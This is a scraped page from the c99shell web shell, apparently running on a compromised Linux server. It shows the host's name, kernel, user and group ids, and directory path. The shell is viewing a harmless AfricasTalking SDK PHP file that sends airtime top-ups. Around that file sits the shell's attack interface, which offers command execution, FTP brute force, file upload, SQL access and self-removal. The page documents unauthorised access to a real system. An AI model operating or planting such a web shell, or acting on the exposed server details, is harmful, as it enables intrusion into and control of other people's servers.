!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/africastalking/africastalking/src/   drwxr-xr-x
Free 29.27 GB of 117.98 GB (24.81%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Airtime.php (1.55 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace AfricasTalking\SDK;

class 
Airtime extends Service
{
    public function 
send($parameters$options = [])
    {        
        if(empty(
$parameters['recipients'])) {
            return 
$this->error("recipients must be specified");
        }

        if(!
is_array($parameters['recipients'])) {
            return 
$this->error("recipients must be an array");
        }

        foreach (
$parameters['recipients'] as $key=>$recipient){

            if(!
is_array($recipient)) {
                return 
$this->error("every recipient must be an array");
            }

            if(!
array_key_exists('phoneNumber'$recipient) || !array_key_exists('currencyCode'$recipient) || !array_key_exists('amount'$recipient)) {
                return 
$this->error("phoneNumber, currencyCode and amount must be specified for each recipient");
            }

            
$currencyCode $recipient['currencyCode'];
            if (
strlen($currencyCode) != 3) {
                return 
$this->error('currencyCode must be in 3-digit ISO format');
            }

            
$recipient['amount'] = $recipient['currencyCode'].' '.$recipient['amount'];

            unset(
$recipient['currencyCode']);
 
            
$parameters['recipients'][$key] = $recipient;
        }

        
$data = [
            
'username'         => $this->username,
            
'recipients'     => json_encode($parameters['recipients'])
        ];

        
$requestOptions = [
            
'form_params' => $data,
        ];

        if(isset(
$options['idempotencyKey'])) {
            
$requestOptions['headers'] = [
                
'Idempotency-Key' => $options['idempotencyKey'],
            ];
        }

        
$response $this->client->post('airtime/send'$requestOptions);

        return 
$this->success($response);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--